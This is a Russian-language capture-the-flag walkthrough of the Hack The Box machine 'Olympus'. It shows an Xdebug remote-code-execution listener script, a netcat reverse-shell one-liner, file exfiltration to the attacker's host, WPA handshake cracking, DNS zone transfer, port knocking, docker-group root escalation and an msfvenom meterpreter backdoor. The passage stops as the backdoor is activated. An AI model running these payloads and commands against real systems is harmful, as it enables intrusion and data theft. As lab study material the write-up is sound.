Путешествие к вершинам Олимпа: 1. Остров Крит — веб-сервер Apache с RCE-уязвимостью в Xdebug; 2. Олимпия — докер-контейнер с таском на брут 802.11 WPA перехвата; 3. Остров Родос — DNS-сервер, хранящий последовательность портов к Port Knocking’у для открытия портала в царство Аида; 4. Царство Аида — последний этап, сама виртуальная машина Olympus, root-сессия будет получена через захват docker’а. А теперь подробнее…

htb-badge.svg 5.3/10

banner.png

info.png

Разведка

Nmap

Initial:

root@kali:~# nmap -n -vvv -sS -Pn --min-rate 5000 -oA nmap/initial 10.10.10.83
...
root@kali:~# cat nmap/initial.nmap
# Nmap 7.70 scan initiated Sun Sep 30 14:07:54 2018 as: nmap -n -vvv -sS -Pn --min-rate 5000 -oA nmap/initial 10.10.10.83
Increasing send delay for 10.10.10.83 from 0 to 5 due to 167 out of 555 dropped probes since last increase.
Nmap scan report for 10.10.10.83
Host is up, received user-set (0.052s latency).
Scanned at 2018-09-30 14:07:54 EDT for 1s
Not shown: 996 closed ports
Reason: 996 resets
PORT     STATE    SERVICE      REASON
22/tcp   filtered ssh          no-response
53/tcp   open     domain       syn-ack ttl 62
80/tcp   open     http         syn-ack ttl 62
2222/tcp open     EtherNetIP-1 syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Sep 30 14:07:55 2018 -- 1 IP address (1 host up) scanned in 0.55 seconds

Version (красивый отчет):

root@kali:~# nmap -n -vvv -sS -sV -sC -oA nmap/version --stylesheet https://raw.githubusercontent.com/snovvcrash/snovvcrash.github.io/master/reports/nmap/nmap-bootstrap.xsl -p53,80,2222 10.10.10.83
...
root@kali:~# cat nmap/version.nmap
# Nmap 7.70 scan initiated Sun Sep 30 14:08:02 2018 as: nmap -n -vvv -sS -sV -sC -oA nmap/version --stylesheet https://raw.githubusercontent.com/snovvcrash/snovvcrash.github.io/master/reports/nmap/nmap-bootstrap.xsl -p53,80,2222 10.10.10.83
Nmap scan report for 10.10.10.83
Host is up, received reset ttl 63 (0.049s latency).
Scanned at 2018-09-30 14:08:03 EDT for 24s

PORT     STATE SERVICE REASON         VERSION
53/tcp   open  domain  syn-ack ttl 62 (unknown banner: Bind)
| dns-nsid: 
|_  bind.version: Bind
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|     bind
|_    Bind
80/tcp   open  http    syn-ack ttl 62 Apache httpd
|_http-favicon: Unknown favicon MD5: 399EAE2564C19BD20E855CDB3C0C9D1B
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Crete island - Olympus HTB
2222/tcp open  ssh     syn-ack ttl 62 (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-City of olympia
| ssh-hostkey: 
|   2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCohNsiG9F7o0LDtwsBg/e+/wmnvepC5grY6lbmsSPVpFgEckWVAqzxk14cLSrD2FUWL3K1YXN/aA9CVE3lZXZAS+NLArEcX3qCUwLV1Oz0Foypq0xMmE8jla7YhHGn5ejxPSLwOZv7UezC5kWpGHQBlM/6FIFnUgH000vDg+88mdUL5bibA1DZbV6HWS3DvP2nW4UAv7opOJacwkh/hdU+NZ9Ztn5ifrjsHBb9plFAUY3DoqDNhZ/3D70oyBmzT12/alBL/gpFQC6hHZkf4ljHA8He0IdN3kohX1Fwt/dppYRTbfMsPDFgRxJ07c8uknEax71PQaSgL9VqOZ+BfOLD
|   256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT58ZASVhHjRcHlNFWjmC7p0mf9hcGv7L970l+lT/X9INrsBpOpduOaf93G4L4LMNuDNzhMFIFAFFQS6JL5uwA=
|   256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHovT0TzbV0tvldAQEx/5i+4kFYDBVFbVF/6q1SuAJ5O
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.70%I=7%D=9/30%Time=5BB1110E%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x
SF:04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0\x0c\
SF:0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.70%I=7%D=9/30%Time=5BB11109%P=x86_64-pc-linux-gnu%r(NU
SF:LL,29,"SSH-2\.0-City\x20of\x20olympia\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\r\n");

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 30 14:08:27 2018 -- 1 IP address (1 host up) scanned in 25.08 seconds

Необычная картина: SSH на 2222-м и 22-м портах (причем 22-й фильтруется), DNS на 53-м TCP (подчеркиваю, TCP, что может означать, что DNS-сервер поддерживает запросы на трансфер зоны), и веб-сервер на 80-м порту. Для начала попробуем вытащить что-нибудь внятное из DNS’а.

DNS — Порт 53 (TCP). Попытка № 1

Первым пойдет AXFR-запрос (Full Zone Transfer), как кандидат на получение зоны DNS:

root@kali:~# dig axfr @10.10.10.83 olympus.htb

; <<>> DiG 9.11.4-P2-3-Debian <<>> axfr @10.10.10.83 olympus.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.

Ничего полезного. Просто информация о домене?

root@kali:~# dig @10.10.10.83 olympus.htb

; <<>> DiG 9.11.4-P2-3-Debian <<>> @10.10.10.83 olympus.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 46567
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;olympus.htb.                   IN      A

;; Query time: 22 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Mon Oct 01 13:40:54 EDT 2018
;; MSG SIZE  rcvd: 40

Тоже ничего. Перейдем к чему-то более вразумительному, а именно к исследованию веб-сервера.

Web — Порт 80 [остров Крит]

Добро пожаловать на остров Крит:

port80-browser-1.png

В исходниках пусто:

<!-- view-source:http://10.10.10.83/ -->

<!DOCTYPE HTML>
	<html>
	<head>
		<title>Crete island - Olympus HTB</title>
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
		<link rel="shortcut icon" href="favicon.ico">
		<link rel="stylesheet" type="text/css" href="crete.css">
	</head>
	<body class="crete">
	</body>
	</html>

И ничего больше…

nikto

Признаться, здесь я пробыл некоторое время (изображение Зевса на стего-тулзы не откликается)… Пока не отработал nikto :smiling_imp:

root@kali:~# nikto -h http://10.10.10.83:80 -o nikto/olympus.txt
- Nikto v2.1.6/2.1.5
+ Target Host: 10.10.10.83
+ Target Port: 80
+ GET Uncommon header 'xdebug' found, with contents: 2.5.5
+ ZLVHTRSC Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3233: GET /icons/README: Apache default file found.

Взгляд тут же остановился на обнаруженном заголовке xdebug.

То же самое можно увидеть, просмотрев заголовки HTTP-ответа:

port80-browser-2.png

На задворках сознания начали всплывать китайские иероглифы, ибо как-то раз я наткнулся на китайскую публикация, описывающую элегантную атаку, основанную на этой фиче для веб-девелоперов.

Я решил проверить чувства и набрал:

root@kali:~# searchsploit xdebug
----------------------------------------------------- ----------------------------------------
 Exploit Title                                       |  Path
                                                     | (/usr/share/exploitdb/)
----------------------------------------------------- ----------------------------------------
xdebug < 2.5.5 - OS Command Execution (Metasploit)   | exploits/php/remote/44568.rb
----------------------------------------------------- ----------------------------------------
Shellcodes: No Result

А перекрестные ссылки от этого эксплойта в поисковике привели на ту самую китайскую теорему об остатках статью. Хочу обратить внимание, что эта уязвимость с гораздо бо́льшим комфортом эксплуатируется через Metasploit (там тебе и meterpreter, и все такое), однако мы посмотрим, как раскрутить механизм атаки вручную.

Эксплуатация Xdebug

Пара слов о виновнике торжества:

Xdebug — это расширения для PHP, которое позволяет максимально возможно упростить отладку PHP-скриптов и добавить в разработку на PHP таких удобств, как точки останова, пошаговое выполнение, наблюдение за выражениями и др.

Конечно, “законные” отладчики выполнены в виде красивых обвесов для IDE и плагинов на браузеры, но мы наведем здесь порядок — только кислотно-зеленые буквы на аспидно-черном фоне терминала :neckbeard:

От гугл переводчика толку мало, да перевод особенно не требуется — по скриншотам из статьи легко прослеживает структура атаки. Сперва попробуем просто принять 2 ICMP-пакета в качестве PoC’а, дальше будем собирать шелл.

Proof-of-Concept

1. Первым шагом запускается Python-скрипт, слушающий дефолтный для Xdebug’а 9000-й порт:

#!/usr/bin/python2
import socket

ip_port = ('0.0.0.0', 9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()

while True:
    client_data = conn.recv(1024)
    print(client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
root@kali:~# python olympus_shell.py

Тем самым мы готовимся перехватить коннект на скрипт и уйти в бесконечный цикл выполнения команд.

2. Далее с помощью curl триггерится вполне легитимная (в теории) debug-сессия и мгновенно улетает на поднятый ранее листенер:

root@kali:~# curl -H 'X-Forwarded-For: 10.10.13.180' 'http://10.10.10.83/index.php?XDEBUG_SESSION_START=phpstorm'

3. После чего оживляется скучающий Python-скрипт. Пингуем нашу машину:

root@kali:~# python olympus_shell.py
486<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///var/www/html/index.php" language="PHP" xdebug:language_version="7.1.12" protocol_version="1.0" appid="17" idekey="phpstorm"><engine version="2.5.5"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2017 by Derick Rethans]]></copyright></init>
>> system('ping -c 2 10.10.14.14')
336<?xml version="1.0" encoding="iso-8859-1"?>
<response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="string" size="61" encoding="base64"><![CDATA[cm91bmQtdHJpcCBtaW4vYXZnL21heC9zdGRkZXYgPSA2OC4wMDEvNjguMzQ2LzY4LjY5MC8wLjM0NSBtcw==]]></property></response>

Ловим отчет об удачном пинге на поднятом на фоне tcpdump’е, а также получаем похожее сообщение об успехе операции от процесса, где бежит curl:

root@kali:~# tcpdump -v -i tun0 'icmp[icmptype]==8'
tcpdump: listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
16:02:34.256845 IP (tos 0x0, ttl 62, id 57110, offset 0, flags [DF], proto ICMP (1), length 84)
    10.10.10.83 > kali: ICMP echo request, id 153, seq 0, length 64
16:02:35.242676 IP (tos 0x0, ttl 62, id 57292, offset 0, flags [DF], proto ICMP (1), length 84)
    10.10.10.83 > kali: ICMP echo request, id 153, seq 1, length 64
root@kali:~# curl -H 'X-Forwarded-For: 10.10.14.14' 'http://10.10.10.83/index.php?XDEBUG_SESSION_START=phpstorm'
64 bytes from 10.10.14.14: icmp_seq=0 ttl=62 time=68.001 ms
64 bytes from 10.10.14.14: icmp_seq=1 ttl=62 time=68.690 ms
--- 10.10.14.14 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max/stddev = 68.001/68.346/68.690/0.345 ms

Обратим внимание на base64-свойство CDATA (на 2 code-секции выше), которое при декодирование даст:

root@kali:~# base64 -d <<< 'cm91bmQtdHJpcCBtaW4vYXZnL21heC9zdGRkZXYgPSA2OC4wMDEvNjguMzQ2LzY4LjY5MC8wLjM0NSBtcw=='
round-trip min/avg/max/stddev = 68.001/68.346/68.690/0.345 ms

В красках все выглядело так (красные числа — порядок активности панелей):

xdebug-exploit-poc.png

На этом считаю тест успешно завершенным, можно переходить к боевым действиям.

Reverse-Shell [Олимпия]

Для получения сессии повторим операцию выше, только на этот раз в качестве пейлоада для Xdebug укажем bash-реверс-шелл:

...
>> system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 31337 >/tmp/f')
...

Ии ловим ответ:

root@kali:~# nc -nlvvp 31337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
Ncat: Connection from 10.10.10.83.
Ncat: Connection from 10.10.10.83:54230.

/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ uname -a
Linux f00ba96171c5 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 GNU/Linux

Чтобы не мучить тебя долгими листингами, скажу на словах: нужно было погулять по файловой системе и наткнуться на каталог /home/zeus/airgeddon/captured:

$ ls -la /home/zeus/airgeddon/
total 1100
drwxr-xr-x 1 zeus zeus   4096 Apr  8 10:56 .
drwxr-xr-x 1 zeus zeus   4096 Apr  8 10:56 ..
-rw-r--r-- 1 zeus zeus    264 Apr  8 00:58 .editorconfig
drwxr-xr-x 1 zeus zeus   4096 Apr  8 00:59 .git
-rw-r--r-- 1 zeus zeus    230 Apr  8 00:58 .gitattributes
drwxr-xr-x 1 zeus zeus   4096 Apr  8 00:59 .github
-rw-r--r-- 1 zeus zeus     89 Apr  8 00:58 .gitignore
-rw-r--r-- 1 zeus zeus  15855 Apr  8 00:58 CHANGELOG.md
-rw-r--r-- 1 zeus zeus   3228 Apr  8 00:58 CODE_OF_CONDUCT.md
-rw-r--r-- 1 zeus zeus   6358 Apr  8 00:58 CONTRIBUTING.md
-rw-r--r-- 1 zeus zeus   3283 Apr  8 00:58 Dockerfile
-rw-r--r-- 1 zeus zeus  34940 Apr  8 00:58 LICENSE.md
-rw-r--r-- 1 zeus zeus   4425 Apr  8 00:58 README.md
-rw-r--r-- 1 zeus zeus 297711 Apr  8 00:58 airgeddon.sh
drwxr-xr-x 1 zeus zeus   4096 Apr  8 00:59 binaries
drwxr-xr-x 1 zeus zeus   4096 Apr  8 17:31 captured
drwxr-xr-x 1 zeus zeus   4096 Apr  8 00:59 imgs
-rw-r--r-- 1 zeus zeus  16315 Apr  8 00:58 known_pins.db
-rw-r--r-- 1 zeus zeus 685345 Apr  8 00:58 language_strings.sh
-rw-r--r-- 1 zeus zeus     33 Apr  8 00:58 pindb_checksum.txt

$ cd captured

$ ls -la
total 304
drwxr-xr-x 1 zeus zeus   4096 Apr  8 17:31 .
drwxr-xr-x 1 zeus zeus   4096 Apr  8 10:56 ..
-rw-r--r-- 1 zeus zeus 297917 Apr  8 12:48 captured.cap
-rw-r--r-- 1 zeus zeus     57 Apr  8 17:30 papyrus.txt
$ cat papyrus.txt
Captured while flying. I'll banish him to Olympia - Zeus
$ file captured.cap
captured.cap: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535)

airgeddon — это такой bash-скрипт (от создателя бокса, кстати), который автоматизирует аудит беспроводных сетей (в основном позволяет легче управляться с aircrack-ng), поэтому нетрудно догадаться, что предстоит делать дальше.

Забираем дамп трафика к себе на машину (вспоминая, как было бы удобно сделать это в один клик из-под meterpreter-сессии):

$ nc -w3 10.10.14.14 8888 < captured/captured.cap
root@kali:~# nc -nlvvp 8888 > captured.cap
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 10.10.10.83.
Ncat: Connection from 10.10.10.83:36924.
NCAT DEBUG: Closing fd 5.

И повозимся немного с ним.

Ломаем 802.11 WPA

Чтобы узнать имя беспроводной сети (ESSID), можно открыть дамп Wireshark’ом или же просто прогнать на нем aircrack-ng без параметров:

root@kali:~# aircrack-ng captured.cap
Opening captured.cap
Read 6498 packets.

   #  BSSID              ESSID                     Encryption

   1  F4:EC:38:AB:A8:A9  Too_cl0se_to_th3_Sun      WPA (1 handshake)
...

После чего запускаем aircrack-ng уже непосредственно для взлома пароля сетки Too_cl0se_to_th3_Sun:

root@kali:~# aircrack-ng -e 'Too_cl0se_to_th3_Sun' -w /usr/share/wordlists/rockyou.txt captured.cap
...
[00:20:20] 5305860/9822768 keys tested (4398.83 k/s)

      Time left: 17 minutes, 7 seconds                          54.02%

                        KEY FOUND! [ flightoficarus ]


      Master Key     : FA C9 FB 75 B7 7E DC 86 CC C0 D5 38 88 75 B8 5A
                       88 3B 75 31 D9 C3 23 C8 68 3C DB FA 0F 67 3F 48

      Transient Key  : 46 7D FD D8 1A E5 1A 98 50 C8 DD 13 26 E7 32 7C
                       DE E7 77 4E 83 03 D9 24 74 81 30 84 AD AD F8 10
                       21 62 1F 60 15 02 0C 5C 1C 84 60 FA 34 DE C0 4F
                       35 F6 4F 03 A2 0F 8F 6F 5E 20 05 27 E1 73 E0 73

      EAPOL HMAC     : AC 1A 73 84 FB BF 75 9C 86 CF 5B 5A F4 8A 4C 38
...

На сей процесс на Kali-виртуалке ушло около получаса.

Дальше “guessing” техникой или методологией “научного тыка в сферического коня в вакууме” определяем, что icarus:Too_cl0se_to_th3_Sun — креды для подключения к машине по 2222-му SSH порту (имя пользователя пришлось и вправду угадывать: как видишь, оказалось, что пароль от Wi-Fi’я лишь содержал имя пользователя, а не являлся им :neutral_face:).

SSH — Порт 2222

root@kali:~# sshpass -p 'Too_cl0se_to_th3_Sun' ssh -oStrictHostKeyChecking=no -p 2222 icarus@10.10.10.83
icarus@620b296204a3:~$ whoami
icarus

icarus@620b296204a3:~$ id
uid=1000(icarus) gid=1000(icarus) groups=1000(icarus)

icarus@620b296204a3:~$ uname -a
Linux 620b296204a3 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 x86_64 x86_64 GNU/Linux

icarus@620b296204a3:~$ ls -la
total 32
drwxr-xr-x 1 icarus icarus 4096 Apr 15 21:50 .
drwxr-xr-x 1 root   root   4096 Apr  8 11:59 ..
-rw------- 1 icarus icarus   33 Apr 15 16:47 .bash_history
-rw-r--r-- 1 icarus icarus  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 icarus icarus 3771 Aug 31  2015 .bashrc
drwx------ 2 icarus icarus 4096 Apr 15 16:44 .cache
-rw-r--r-- 1 icarus icarus  655 May 16  2017 .profile
-rw-r--r-- 1 root   root     85 Apr 15 21:50 help_of_the_gods.txt
icarus@620b296204a3:~$ cat help_of_the_gods.txt

Athena goddess will guide you through the dark...

Way to Rhodes...
ctfolympus.htb

help_of_the_gods.txt — все, что нам понадобится от этого соединения (к слову, очередной докер-контейнер).

DNS — Порт 53 (TCP). Попытка № 2 [остров Родос]

Теперь мы знаем, в сторону какого домена копать :wink:

root@kali:~# dig axfr @10.10.10.83 ctfolympus.htb

; <<>> DiG 9.11.4-P2-3-Debian <<>> axfr @10.10.10.83 ctfolympus.htb
; (1 server found)
;; global options: +cmd
ctfolympus.htb.         86400   IN      SOA     ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
ctfolympus.htb.         86400   IN      TXT     "prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"
ctfolympus.htb.         86400   IN      A       192.168.0.120
ctfolympus.htb.         86400   IN      NS      ns1.ctfolympus.htb.
ctfolympus.htb.         86400   IN      NS      ns2.ctfolympus.htb.
ctfolympus.htb.         86400   IN      MX      10 mail.ctfolympus.htb.
crete.ctfolympus.htb.   86400   IN      CNAME   ctfolympus.htb.
hades.ctfolympus.htb.   86400   IN      CNAME   ctfolympus.htb.
mail.ctfolympus.htb.    86400   IN      A       192.168.0.120
ns1.ctfolympus.htb.     86400   IN      A       192.168.0.120
ns2.ctfolympus.htb.     86400   IN      A       192.168.0.120
rhodes.ctfolympus.htb.  86400   IN      CNAME   ctfolympus.htb.
RhodesColossus.ctfolympus.htb. 86400 IN TXT     "Here lies the great Colossus of Rhodes"
www.ctfolympus.htb.     86400   IN      CNAME   ctfolympus.htb.
ctfolympus.htb.         86400   IN      SOA     ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301 21600 3600 604800 86400
;; Query time: 58 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Wed Oct 03 09:20:03 EDT 2018
;; XFR size: 15 records (messages 1, bytes 475)

Мы прибыли на остров Родос, и здесь, по моему мнению, начинается самая интересная часть прохождения:

"prometheus, open a temporal portal to Hades (3456 8234 62431) and St34l_th3_F1re!"

Тут окей, более-менее понятно: prometheus:St34l_th3_F1re! — авторизационные данные для какого-то сервиса, но вот, что за магические числа 3456 8234 62431? Ответ тривиален, если знать два ключевых слова: “Port Knocking”.

Port Knocking

Если верить Вики, то

In computer networking, port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received, the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specific port(s).

По-русски это означает следующее: port knocking — техника защиты портов от чужаков; в случае ее применения для подключения к порту необходимо простучать (отправить запросы на) предопределенную серию портов в нужной последовательности; при успешном выполнении вышеописанного действа целевой порт, скрытый ранее за файерволом, откроет свои объятия и станет доступен для подключения на короткий промежуток времени. За подробностями рекомендую ознакомится с серией публикаций в 3-х частях: первая, вторая, третья.

SSH — Порт 22 (внутри машины) [царство Аида]

Теперь настало время вспомнить о фильтруемом 22-м SSH порте и попросить Сим-сим открыться.

Благо, сделать это можно разными способами.

1. С помощью специализированной утилиты knock (которую предварительно нужно установить, разумеется):

root@kali:~# knock 10.10.10.83 3456:tcp 8234:tcp 62431:tcp && sshpass -p 'St34l_th3_F1re!' ssh -oStrictHostKeyChecking=no prometheus@10.10.10.83

Welcome to

    )         (
 ( /(     )   )\ )   (
 )\()) ( /(  (()/(  ))\ (
((_)\  )(_))  ((_))/((_))\
| |(_)((_)_   _| |(_)) ((_)
| ' \ / _` |/ _` |/ -_)(_-<
|_||_|\__,_|\__,_|\___|/__/

2. С помощью любимого nmap’а, указав “вежливую” скорость сканирования (-T polite == -T 2):

root@kali:~# nmap -n -v -Pn --host-timeout 251 --max-retries 0 -T polite -p3456,8234,62431 10.10.10.83 && sshpass -p 'St34l_th3_F1re!' ssh -oStrictHostKeyChecking=no prometheus@10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-03 11:19 EDT
Initiating SYN Stealth Scan at 11:19
Scanning 10.10.10.83 [3 ports]
Completed SYN Stealth Scan at 11:19, 1.28s elapsed (3 total ports)
Nmap scan report for 10.10.10.83
Host is up (0.058s latency).

PORT      STATE  SERVICE
3456/tcp  closed vat
8234/tcp  closed unknown
62431/tcp closed unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.34 seconds
           Raw packets sent: 3 (132B) | Rcvd: 3 (120B)

Welcome to

    )         (
 ( /(     )   )\ )   (
 )\()) ( /(  (()/(  ))\ (
((_)\  )(_))  ((_))/((_))\
| |(_)((_)_   _| |(_)) ((_)
| ' \ / _` |/ _` |/ -_)(_-<
|_||_|\__,_|\__,_|\___|/__/

3. С помощью комбинации любимого nmap’а и пары директив шелл-скриптинга:

root@kali:~# for i in 3456 8234 62431; do nmap -n -v -Pn --host-timeout 251 --max-retries 0 -p $i 10.10.10.83 && sleep 1; done && sshpass -p 'St34l_th3_F1re!' ssh -oStrictHostKeyChecking=no prometheus@10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-03 11:20 EDT
Initiating SYN Stealth Scan at 11:20
Scanning 10.10.10.83 [1 port]
Completed SYN Stealth Scan at 11:20, 0.09s elapsed (1 total ports)
Nmap scan report for 10.10.10.83
Host is up (0.058s latency).

PORT     STATE  SERVICE
3456/tcp closed vat

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
           Raw packets sent: 1 (44B) | Rcvd: 1 (40B)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-03 11:20 EDT
Initiating SYN Stealth Scan at 11:20
Scanning 10.10.10.83 [1 port]
Completed SYN Stealth Scan at 11:20, 0.11s elapsed (1 total ports)
Nmap scan report for 10.10.10.83
Host is up (0.061s latency).

PORT     STATE  SERVICE
8234/tcp closed unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
           Raw packets sent: 1 (44B) | Rcvd: 1 (40B)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-03 11:20 EDT
Initiating SYN Stealth Scan at 11:20
Scanning 10.10.10.83 [1 port]
Completed SYN Stealth Scan at 11:20, 0.10s elapsed (1 total ports)
Nmap scan report for 10.10.10.83
Host is up (0.058s latency).

PORT      STATE  SERVICE
62431/tcp closed unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
           Raw packets sent: 1 (44B) | Rcvd: 1 (40B)

Welcome to

    )         (
 ( /(     )   )\ )   (
 )\()) ( /(  (()/(  ))\ (
((_)\  )(_))  ((_))/((_))\
| |(_)((_)_   _| |(_)) ((_)
| ' \ / _` |/ _` |/ -_)(_-<
|_||_|\__,_|\__,_|\___|/__/

Итог один — мы внутри:

Welcome to

    )         (
 ( /(     )   )\ )   (
 )\()) ( /(  (()/(  ))\ (
((_)\  )(_))  ((_))/((_))\
| |(_)((_)_   _| |(_)) ((_)
| ' \ / _` |/ _` |/ -_)(_-<
|_||_|\__,_|\__,_|\___|/__/

prometheus@olympus:~$ whoami
prometheus

prometheus@olympus:~$ id
uid=1000(prometheus) gid=1000(prometheus) groups=1000(prometheus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(bluetooth),999(docker)

prometheus@olympus:~$ uname -a
Linux olympus 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 GNU/Linux

И уже в этих неизменных трех первых строчках содержится ответ на извечный PrivEsc-вопрос:

:exclamation: DOCKER :exclamation:

user.txt

Заберем только для начала флаг пользователя:

prometheus@olympus:~$ cat /home/prometheus/user.txt
8aa18519????????????????????????

PrivEsc: prometheus → root. Способ 1

Первый способ получения рут-сессии очень простой (по крайней мере, если ты прежде сталкивался с docker’ом).

Посмотрим доступные образы (ради интереса):

prometheus@olympus:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
crete               latest              31be8149528e        5 months ago        450MB
olympia             latest              2b8904180780        5 months ago        209MB
rodhes              latest              82fbfd61b8c1        5 months ago        215MB

Выведем список контейнеров:

prometheus@olympus:~$ docker container ls
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                                    NAMES
f00ba96171c5        crete               "docker-php-entrypoi…"   5 months ago        Up 16 minutes       0.0.0.0:80->80/tcp                       crete
ce2ecb56a96e        rodhes              "/etc/bind/entrypoin…"   5 months ago        Up 16 minutes       0.0.0.0:53->53/tcp, 0.0.0.0:53->53/udp   rhodes
620b296204a3        olympia             "/usr/sbin/sshd -D"      5 months ago        Up 16 minutes       0.0.0.0:2222->22/tcp                     olympia

Вклинимся в файловую систему скажем контейнера olympia, примонтировав root-директорию хоста, призовем шелл и прочитаем root-флаг:

prometheus@olympus:~$ docker run --rm -i -t -v /:/hostOS olympia /bin/bash
root@89763840b853:/# whoami
root

root@89763840b853:/# id
uid=0(root) gid=0(root) groups=0(root)

root.txt

root@89763840b853:/# cat /hostOS/root/root.txt
aba48699????????????????????????

Для тех, кто не понял, что произошло, рекомендую крутую статью из 2-х частей про базовые принципы безопасности docker’а: раз, два.

PrivEsc: prometheus → root. Способ 2

Но это и правда было действительно слишком просто, а значит мы неудовлетворены :unamused:

Испробуем на этой машине Metasploit-модуль для повышения привилегий в системах с доступом к docker’y. Для этого нам потребуется:

  • бэкдор;
  • msf: exploit/multi/handler;
  • msf: linux/local/docker_daemon_privilege_escalation.

Для удобства я поднял ssh-master-соединение, а всякие бэкдоры перекидывал через ssh-slave, чтобы не простукивать порты каждый раз. Как настроить такое поведение SSH’а (“SSH Multiplexing”) рассказывается, например, здесь.

Крафтим бэкдор веномом:

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f elf --platform linux -a x86 -o .sh3ll.elf
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: .sh3ll.elf

Закидываем на прометея:

root@kali:~# scp .shell.elf prometheus@10.10.10.83:.tmp/.sh3ll.elf

Поднимаем msf-хэндлер:

msf > use exploit/multi/handler
msf exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.14      yes       The listen address (an interface may be specified)
   LPORT  4444              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.14:4444

Активируем бэкдор на прометее и ловим сессию:

